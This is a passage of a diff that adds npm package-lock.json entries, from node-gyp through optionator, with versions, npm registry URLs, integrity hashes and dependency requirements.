+            "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.8.0.tgz",
+            "integrity": "sha512-3g8lYefrRRzvGeSowdJKAKyks8oUpLEd/DyPV4eMhVlhJ0aNaZqIrNUIPuEWWTAoPqyFkfGrM67MC69baqn6vA==",
+            "requires": {
+                "fstream": "^1.0.0",
+                "glob": "^7.0.3",
+                "graceful-fs": "^4.1.2",
+                "mkdirp": "^0.5.0",
+                "nopt": "2 || 3",
+                "npmlog": "0 || 1 || 2 || 3 || 4",
+                "osenv": "0",
+                "request": "^2.87.0",
+                "rimraf": "2",
+                "semver": "~5.3.0",
+                "tar": "^2.0.0",
+                "which": "1"
+            },
+            "dependencies": {
+                "semver": {
+                    "version": "5.3.0",
+                    "resolved": "https://registry.npmjs.org/semver/-/semver-5.3.0.tgz",
+                    "integrity": "sha512-mfmm3/H9+67MCVix1h+IXTpDwL6710LyHuk7+cWC9T1mE0qz4iHhh6r4hU2wrIT9iTsAAC2XQRvfblL028cpLw=="
+                }
+            }
+        },
+        "node-gyp-build-optional-packages": {
+            "version": "5.0.3",
+            "resolved": "https://registry.npmjs.org/node-gyp-build-optional-packages/-/node-gyp-build-optional-packages-5.0.3.tgz",
+            "integrity": "sha512-k75jcVzk5wnnc/FMxsf4udAoTEUv2jY3ycfdSd3yWu6Cnd1oee6/CfZJApyscA4FJOmdoixWwiwOyf16RzD5JA=="
+        },
+        "node-libs-browser": {
+            "version": "2.2.1",
+            "resolved": "https://registry.npmjs.org/node-libs-browser/-/node-libs-browser-2.2.1.tgz",
+            "integrity": "sha512-h/zcD8H9kaDZ9ALUWwlBUDo6TKF8a7qBSCSEGfjTVIYeqsioSKaAX+BN7NgiMGp6iSIXZ3PxgCu8KS3b71YK5Q==",
+            "requires": {
+                "assert": "^1.1.1",
+                "browserify-zlib": "^0.2.0",
+                "buffer": "^4.3.0",
+                "console-browserify": "^1.1.0",
+                "constants-browserify": "^1.0.0",
+                "crypto-browserify": "^3.11.0",
+                "domain-browser": "^1.1.1",
+                "events": "^3.0.0",
+                "https-browserify": "^1.0.0",
+                "os-browserify": "^0.3.0",
+                "path-browserify": "0.0.1",
+                "process": "^0.11.10",
+                "punycode": "^1.2.4",
+                "querystring-es3": "^0.2.0",
+                "readable-stream": "^2.3.3",
+                "stream-browserify": "^2.0.1",
+                "stream-http": "^2.7.2",
+                "string_decoder": "^1.0.0",
+                "timers-browserify": "^2.0.4",
+                "tty-browserify": "0.0.0",
+                "url": "^0.11.0",
+                "util": "^0.11.0",
+                "vm-browserify": "^1.0.1"
+            },
+            "dependencies": {
+                "buffer": {
+                    "version": "4.9.2",
+                    "resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.2.tgz",
+                    "integrity": "sha512-xq+q3SRMOxGivLhBNaUdC64hDTQwejJ+H0T/NB1XMtTVEwNTrfFF3gAxiyW0Bu/xWEGhjVKgUcMhCrUy2+uCWg==",
+                    "requires": {
+                        "base64-js": "^1.0.2",
+                        "ieee754": "^1.1.4",
+                        "isarray": "^1.0.0"
+                    }
+                },
+                "punycode": {
+                    "version": "1.4.1",
+                    "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz",
+                    "integrity": "sha512-jmYNElW7yvO7TV33CjSmvSiE2yco3bV2czu/OzDKdMNVZQWfxCblURLhf+47syQRBntjfLdd/H0egrzIG+oaFQ=="
+                },
+                "readable-stream": {
+                    "version": "2.3.7",
+                    "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+                    "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+                    "requires": {
+                        "core-util-is": "~1.0.0",
+                        "inherits": "~2.0.3",
+                        "isarray": "~1.0.0",
+                        "process-nextick-args": "~2.0.0",
+                        "safe-buffer": "~5.1.1",
+                        "string_decoder": "~1.1.1",
+                        "util-deprecate": "~1.0.1"
+                    }
+                }
+            }
+        },
+        "node-object-hash": {
+            "version": "2.3.10",
+            "resolved": "https://registry.npmjs.org/node-object-hash/-/node-object-hash-2.3.10.tgz",
+            "integrity": "sha512-jY5dPJzw6NHd/KPSfPKJ+IHoFS81/tJ43r34ZeNMXGzCOM8jwQDCD12HYayKIB6MuznrnqIYy2e891NA2g0ibA=="
+        },
+        "node-releases": {
+            "version": "2.0.6",
+            "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.6.tgz",
+            "integrity": "sha512-PiVXnNuFm5+iYkLBNeq5211hvO38y63T0i2KKh2KnUs3RpzJ+JtODFjkD8yjLwnDkTYF1eKXheUwdssR+NRZdg=="
+        },
+        "node-sass": {
+            "version": "4.14.1",
+            "resolved": "https://registry.npmjs.org/node-sass/-/node-sass-4.14.1.tgz",
+            "integrity": "sha512-sjCuOlvGyCJS40R8BscF5vhVlQjNN069NtQ1gSxyK1u9iqvn6tf7O1R4GNowVZfiZUCRt5MmMs1xd+4V/7Yr0g==",
+            "requires": {
+                "async-foreach": "^0.1.3",
+                "chalk": "^1.1.1",
+                "cross-spawn": "^3.0.0",
+                "gaze": "^1.0.0",
+                "get-stdin": "^4.0.1",
+                "glob": "^7.0.3",
+                "in-publish": "^2.0.0",
+                "lodash": "^4.17.15",
+                "meow": "^3.7.0",
+                "mkdirp": "^0.5.1",
+                "nan": "^2.13.2",
+                "node-gyp": "^3.8.0",
+                "npmlog": "^4.0.0",
+                "request": "^2.88.0",
+                "sass-graph": "2.2.5",
+                "stdout-stream": "^1.4.0",
+                "true-case-path": "^1.0.2"
+            },
+            "dependencies": {
+                "ansi-regex": {
+                    "version": "2.1.1",
+                    "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
+                    "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA=="
+                },
+                "ansi-styles": {
+                    "version": "2.2.1",
+                    "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz",
+                    "integrity": "sha512-kmCevFghRiWM7HB5zTPULl4r9bVFSWjz62MhqizDGUrq2NWuNMQyuv4tHHoKJHs69M/MF64lEcHdYIocrdWQYA=="
+                },
+                "chalk": {
+                    "version": "1.1.3",
+                    "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz",
+                    "integrity": "sha512-U3lRVLMSlsCfjqYPbLyVv11M9CPW4I728d6TCKMAOJueEeB9/8o+eSsMnxPJD+Q+K909sdESg7C+tIkoH6on1A==",
+                    "requires": {
+                        "ansi-styles": "^2.2.1",
+                        "escape-string-regexp": "^1.0.2",
+                        "has-ansi": "^2.0.0",
+                        "strip-ansi": "^3.0.0",
+                        "supports-color": "^2.0.0"
+                    }
+                },
+                "cross-spawn": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-3.0.1.tgz",
+                    "integrity": "sha512-eZ+m1WNhSZutOa/uRblAc9Ut5MQfukFrFMtPSm3bZCA888NmMd5AWXWdgRZ80zd+pTk1P2JrGjg9pUPTvl2PWQ==",
+                    "requires": {
+                        "lru-cache": "^4.0.1",
+                        "which": "^1.2.9"
+                    }
+                },
+                "lru-cache": {
+                    "version": "4.1.5",
+                    "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz",
+                    "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==",
+                    "requires": {
+                        "pseudomap": "^1.0.2",
+                        "yallist": "^2.1.2"
+                    }
+                },
+                "strip-ansi": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
+                    "integrity": "sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==",
+                    "requires": {
+                        "ansi-regex": "^2.0.0"
+                    }
+                },
+                "supports-color": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz",
+                    "integrity": "sha512-KKNVtd6pCYgPIKU4cp2733HWYCpplQhddZLBUryaAHou723x+FRzQ5Df824Fj+IyyuiQTRoub4SnIFfIcrp70g=="
+                },
+                "true-case-path": {
+                    "version": "1.0.3",
+                    "resolved": "https://registry.npmjs.org/true-case-path/-/true-case-path-1.0.3.tgz",
+                    "integrity": "sha512-m6s2OdQe5wgpFMC+pAJ+q9djG82O2jcHPOI6RNg1yy9rCYR+WD6Nbpl32fDpfC56nirdRy+opFa/Vk7HYhqaew==",
+                    "requires": {
+                        "glob": "^7.1.2"
+                    }
+                },
+                "yallist": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz",
+                    "integrity": "sha512-ncTzHV7NvsQZkYe1DW7cbDLm0YpzHmZF5r/iyP3ZnQtMiJ+pjzisCiMNI+Sj+xQF5pXhSHxSB3uDbsBTzY/c2A=="
+                }
+            }
+        },
+        "node-sass-utils": {
+            "version": "1.1.2",
+            "resolved": "https://registry.npmjs.org/node-sass-utils/-/node-sass-utils-1.1.2.tgz",
+            "integrity": "sha1-0DY5z6T8liOYujZIq0ZvDbfMITE="
+        },
+        "noms": {
+            "version": "0.0.0",
+            "resolved": "https://registry.npmjs.org/noms/-/noms-0.0.0.tgz",
+            "integrity": "sha512-lNDU9VJaOPxUmXcLb+HQFeUgQQPtMI24Gt6hgfuMHRJgMRHMF/qZ4HJD3GDru4sSw9IQl2jPjAYnQrdIeLbwow==",
+            "requires": {
+                "inherits": "^2.0.1",
+                "readable-stream": "~1.0.31"
+            },
+            "dependencies": {
+                "isarray": {
+                    "version": "0.0.1",
+                    "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
+                    "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ=="
+                },
+                "readable-stream": {
+                    "version": "1.0.34",
+                    "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz",
+                    "integrity": "sha512-ok1qVCJuRkNmvebYikljxJA/UEsKwLl2nI1OmaqAu4/UE+h0wKCHok4XkL/gvi39OacXvw59RJUOFUkDib2rHg==",
+                    "requires": {
+                        "core-util-is": "~1.0.0",
+                        "inherits": "~2.0.1",
+                        "isarray": "0.0.1",
+                        "string_decoder": "~0.10.x"
+                    }
+                },
+                "string_decoder": {
+                    "version": "0.10.31",
+                    "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz",
+                    "integrity": "sha512-ev2QzSzWPYmy9GuqfIVildA4OdcGLeFZQrq5ys6RtiuF+RQQiZWr8TZNyAcuVXyQRYfEO+MsoB/1BuQVhOJuoQ=="
+                }
+            }
+        },
+        "nopt": {
+            "version": "2.1.2",
+            "resolved": "https://registry.npmjs.org/nopt/-/nopt-2.1.2.tgz",
+            "integrity": "sha512-x8vXm7BZ2jE1Txrxh/hO74HTuYZQEbo8edoRcANgdZ4+PCV+pbjd/xdummkmjjC7LU5EjPzlu8zEq/oxWylnKA==",
+            "requires": {
+                "abbrev": "1"
+            }
+        },
+        "normalize-package-data": {
+            "version": "2.5.0",
+            "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz",
+            "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==",
+            "requires": {
+                "hosted-git-info": "^2.1.4",
+                "resolve": "^1.10.0",
+                "semver": "2 || 3 || 4 || 5",
+                "validate-npm-package-license": "^3.0.1"
+            },
+            "dependencies": {
+                "hosted-git-info": {
+                    "version": "2.8.9",
+                    "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz",
+                    "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw=="
+                },
+                "semver": {
+                    "version": "5.7.1",
+                    "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
+                    "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
+                }
+            }
+        },
+        "normalize-path": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
+            "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA=="
+        },
+        "normalize-range": {
+            "version": "0.1.2",
+            "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz",
+            "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA=="
+        },
+        "normalize-url": {
+            "version": "6.1.0",
+            "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz",
+            "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A=="
+        },
+        "npm-run-path": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz",
+            "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==",
+            "requires": {
+                "path-key": "^3.0.0"
+            },
+            "dependencies": {
+                "path-key": {
+                    "version": "3.1.1",
+                    "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
+                    "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="
+                }
+            }
+        },
+        "npmlog": {
+            "version": "4.1.2",
+            "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.1.2.tgz",
+            "integrity": "sha512-2uUqazuKlTaSI/dC8AzicUck7+IrEaOnN/e0jd3Xtt1KcGpwx30v50mL7oPyr/h9bL3E4aZccVwpwP+5W9Vjkg==",
+            "requires": {
+                "are-we-there-yet": "~1.1.2",
+                "console-control-strings": "~1.1.0",
+                "gauge": "~2.7.3",
+                "set-blocking": "~2.0.0"
+            }
+        },
+        "nth-check": {
+            "version": "2.1.1",
+            "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz",
+            "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==",
+            "requires": {
+                "boolbase": "^1.0.0"
+            }
+        },
+        "null-loader": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/null-loader/-/null-loader-3.0.0.tgz",
+            "integrity": "sha512-hf5sNLl8xdRho4UPBOOeoIwT3WhjYcMUQm0zj44EhD6UscMAz72o2udpoDFBgykucdEDGIcd6SXbc/G6zssbzw==",
+            "requires": {
+                "loader-utils": "^1.2.3",
+                "schema-utils": "^1.0.0"
+            },
+            "dependencies": {
+                "json5": {
+                    "version": "1.0.1",
+                    "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
+                    "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
+                    "requires": {
+                        "minimist": "^1.2.0"
+                    }
+                },
+                "loader-utils": {
+                    "version": "1.4.0",
+                    "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz",
+                    "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==",
+                    "requires": {
+                        "big.js": "^5.2.2",
+                        "emojis-list": "^3.0.0",
+                        "json5": "^1.0.1"
+                    }
+                },
+                "schema-utils": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz",
+                    "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==",
+                    "requires": {
+                        "ajv": "^6.1.0",
+                        "ajv-errors": "^1.0.0",
+                        "ajv-keywords": "^3.1.0"
+                    }
+                }
+            }
+        },
+        "num2fraction": {
+            "version": "1.2.2",
+            "resolved": "https://registry.npmjs.org/num2fraction/-/num2fraction-1.2.2.tgz",
+            "integrity": "sha512-Y1wZESM7VUThYY+4W+X4ySH2maqcA+p7UR+w8VWNWVAd6lwuXXWz/w/Cz43J/dI2I+PS6wD5N+bJUF+gjWvIqg=="
+        },
+        "number-is-nan": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz",
+            "integrity": "sha512-4jbtZXNAsfZbAHiiqjLPBiCl16dES1zI4Hpzzxw61Tk+loF+sBDBKx1ICKKKwIqQ7M0mFn1TmkN7euSncWgHiQ=="
+        },
+        "oauth-sign": {
+            "version": "0.9.0",
+            "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz",
+            "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ=="
+        },
+        "object-assign": {
+            "version": "4.1.1",
+            "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
+            "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM="
+        },
+        "object-copy": {
+            "version": "0.1.0",
+            "resolved": "https://registry.npmjs.org/object-copy/-/object-copy-0.1.0.tgz",
+            "integrity": "sha512-79LYn6VAb63zgtmAteVOWo9Vdj71ZVBy3Pbse+VqxDpEP83XuujMrGqHIwAXJ5I/aM0zU7dIyIAhifVTPrNItQ==",
+            "requires": {
+                "copy-descriptor": "^0.1.0",
+                "define-property": "^0.2.5",
+                "kind-of": "^3.0.3"
+            },
+            "dependencies": {
+                "define-property": {
+                    "version": "0.2.5",
+                    "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
+                    "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==",
+                    "requires": {
+                        "is-descriptor": "^0.1.0"
+                    }
+                }
+            }
+        },
+        "object-hash": {
+            "version": "1.3.1",
+            "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-1.3.1.tgz",
+            "integrity": "sha512-OSuu/pU4ENM9kmREg0BdNrUDIl1heYa4mBZacJc+vVWz4GtAwu7jO8s4AIt2aGRUTqxykpWzI3Oqnsm13tTMDA=="
+        },
+        "object-inspect": {
+            "version": "1.12.2",
+            "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.2.tgz",
+            "integrity": "sha512-z+cPxW0QGUp0mcqcsgQyLVRDoXFQbXOwBaqyF7VIgI4TWNQsDHrBpUQslRmIfAoYWdYzs6UlKJtB2XJpTaNSpQ=="
+        },
+        "object-is": {
+            "version": "1.1.5",
+            "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.1.5.tgz",
+            "integrity": "sha512-3cyDsyHgtmi7I7DfSSI2LDp6SK2lwvtbg0p0R1e0RvTqF5ceGx+K2dfSjm1bKDMVCFEDAQvy+o8c6a7VujOddw==",
+            "requires": {
+                "call-bind": "^1.0.2",
+                "define-properties": "^1.1.3"
+            }
+        },
+        "object-keys": {
+            "version": "1.1.1",
+            "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz",
+            "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA=="
+        },
+        "object-path": {
+            "version": "0.11.8",
+            "resolved": "https://registry.npmjs.org/object-path/-/object-path-0.11.8.tgz",
+            "integrity": "sha512-YJjNZrlXJFM42wTBn6zgOJVar9KFJvzx6sTWDte8sWZF//cnjl0BxHNpfZx+ZffXX63A9q0b1zsFiBX4g4X5KA=="
+        },
+        "object-visit": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz",
+            "integrity": "sha512-GBaMwwAVK9qbQN3Scdo0OyvgPW7l3lnaVMj84uTOZlswkX0KpF6fyDBJhtTthf7pymztoN36/KEr1DyhF96zEA==",
+            "requires": {
+                "isobject": "^3.0.0"
+            },
+            "dependencies": {
+                "isobject": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
+                    "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg=="
+                }
+            }
+        },
+        "object.assign": {
+            "version": "4.1.3",
+            "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.3.tgz",
+            "integrity": "sha512-ZFJnX3zltyjcYJL0RoCJuzb+11zWGyaDbjgxZbdV7rFEcHQuYxrZqhow67aA7xpes6LhojyFDaBKAFfogQrikA==",
+            "requires": {
+                "call-bind": "^1.0.2",
+                "define-properties": "^1.1.4",
+                "has-symbols": "^1.0.3",
+                "object-keys": "^1.1.1"
+            }
+        },
+        "object.entries": {
+            "version": "1.1.5",
+            "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.5.tgz",
+            "integrity": "sha512-TyxmjUoZggd4OrrU1W66FMDG6CuqJxsFvymeyXI51+vQLN67zYfZseptRge703kKQdo4uccgAKebXFcRCzk4+g==",
+            "requires": {
+                "call-bind": "^1.0.2",
+                "define-properties": "^1.1.3",
+                "es-abstract": "^1.19.1"
+            }
+        },
+        "object.fromentries": {
+            "version": "2.0.5",
+            "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.5.tgz",
+            "integrity": "sha512-CAyG5mWQRRiBU57Re4FKoTBjXfDoNwdFVH2Y1tS9PqCsfUTymAohOkEMSG3aRNKmv4lV3O7p1et7c187q6bynw==",
+            "requires": {
+                "call-bind": "^1.0.2",
+                "define-properties": "^1.1.3",
+                "es-abstract": "^1.19.1"
+            }
+        },
+        "object.getownpropertydescriptors": {
+            "version": "2.1.4",
+            "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.4.tgz",
+            "integrity": "sha512-sccv3L/pMModT6dJAYF3fzGMVcb38ysQ0tEE6ixv2yXJDtEIPph268OlAdJj5/qZMZDq2g/jqvwppt36uS/uQQ==",
+            "requires": {
+                "array.prototype.reduce": "^1.0.4",
+                "call-bind": "^1.0.2",
+                "define-properties": "^1.1.4",
+                "es-abstract": "^1.20.1"
+            }
+        },
+        "object.hasown": {
+            "version": "1.1.1",
+            "resolved": "https://registry.npmjs.org/object.hasown/-/object.hasown-1.1.1.tgz",
+            "integrity": "sha512-LYLe4tivNQzq4JdaWW6WO3HMZZJWzkkH8fnI6EebWl0VZth2wL2Lovm74ep2/gZzlaTdV62JZHEqHQ2yVn8Q/A==",
+            "requires": {
+                "define-properties": "^1.1.4",
+                "es-abstract": "^1.19.5"
+            }
+        },
+        "object.omit": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/object.omit/-/object.omit-2.0.1.tgz",
+            "integrity": "sha512-UiAM5mhmIuKLsOvrL+B0U2d1hXHF3bFYWIuH1LMpuV2EJEHG1Ntz06PgLEHjm6VFd87NpH8rastvPoyv6UW2fA==",
+            "requires": {
+                "for-own": "^0.1.4",
+                "is-extendable": "^0.1.1"
+            }
+        },
+        "object.pick": {
+            "version": "1.3.0",
+            "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz",
+            "integrity": "sha512-tqa/UMy/CCoYmj+H5qc07qvSL9dqcs/WZENZ1JbtWBlATP+iVOe778gE6MSijnyCnORzDuX6hU+LA4SZ09YjFQ==",
+            "requires": {
+                "isobject": "^3.0.1"
+            },
+            "dependencies": {
+                "isobject": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
+                    "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg=="
+                }
+            }
+        },
+        "object.values": {
+            "version": "1.1.5",
+            "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.5.tgz",
+            "integrity": "sha512-QUZRW0ilQ3PnPpbNtgdNV1PDbEqLIiSFB3l+EnGtBQ/8SUTLj1PZwtQHABZtLgwpJZTSZhuGLOGk57Drx2IvYg==",
+            "requires": {
+                "call-bind": "^1.0.2",
+                "define-properties": "^1.1.3",
+                "es-abstract": "^1.19.1"
+            }
+        },
+        "obuf": {
+            "version": "1.1.2",
+            "resolved": "https://registry.npmjs.org/obuf/-/obuf-1.1.2.tgz",
+            "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg=="
+        },
+        "on-finished": {
+            "version": "2.4.1",
+            "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz",
+            "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==",
+            "requires": {
+                "ee-first": "1.1.1"
+            }
+        },
+        "on-headers": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz",
+            "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA=="
+        },
+        "once": {
+            "version": "1.4.0",
+            "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
+            "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=",
+            "requires": {
+                "wrappy": "1"
+            }
+        },
+        "onetime": {
+            "version": "5.1.2",
+            "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz",
+            "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==",
+            "requires": {
+                "mimic-fn": "^2.1.0"
+            }
+        },
+        "open": {
+            "version": "7.4.2",
+            "resolved": "https://registry.npmjs.org/open/-/open-7.4.2.tgz",
+            "integrity": "sha512-MVHddDVweXZF3awtlAS+6pgKLlm/JgxZ90+/NBurBoQctVOOB/zDdVjcyPzQ+0laDGbsWgrRkflI65sQeOgT9Q==",
+            "requires": {
+                "is-docker": "^2.0.0",
+                "is-wsl": "^2.1.1"
+            }
+        },
+        "opentracing": {
+            "version": "0.14.7",
+            "resolved": "https://registry.npmjs.org/opentracing/-/opentracing-0.14.7.tgz",
+            "integrity": "sha512-vz9iS7MJ5+Bp1URw8Khvdyw1H/hGvzHWlKQ7eRrQojSCDL1/SrWfrY9QebLw97n2deyRtzHRC3MkQfVNUCo91Q=="
+        },
+        "opn": {
+            "version": "5.1.0",
+            "resolved": "https://registry.npmjs.org/opn/-/opn-5.1.0.tgz",
+            "integrity": "sha512-iPNl7SyM8L30Rm1sjGdLLheyHVw5YXVfi3SKWJzBI7efxRwHojfRFjwE/OLM6qp9xJYMgab8WicTU1cPoY+Hpg==",
+            "requires": {
+                "is-wsl": "^1.1.0"
+            },
+            "dependencies": {
+                "is-wsl": {
+                    "version": "1.1.0",
+                    "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-1.1.0.tgz",
+                    "integrity": "sha512-gfygJYZ2gLTDlmbWMI0CE2MwnFzSN/2SZfkMlItC4K/JBlsWVDB0bO6XhqcY13YXE7iMcAJnzTCJjPiTeJJ0Mw=="
+                }
+            }
+        },
+        "optimize-css-assets-webpack-plugin": {
+            "version": "5.0.8",
+            "resolved": "https://registry.npmjs.org/optimize-css-assets-webpack-plugin/-/optimize-css-assets-webpack-plugin-5.0.8.tgz",
+            "integrity": "sha512-mgFS1JdOtEGzD8l+EuISqL57cKO+We9GcoiQEmdCWRqqck+FGNmYJtx9qfAPzEz+lRrlThWMuGDaRkI/yWNx/Q==",
+            "requires": {
+                "cssnano": "^4.1.10",
+                "last-call-webpack-plugin": "^3.0.0"
+            }
+        },
+        "optionator": {
+            "version": "0.8.3",
+            "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz",
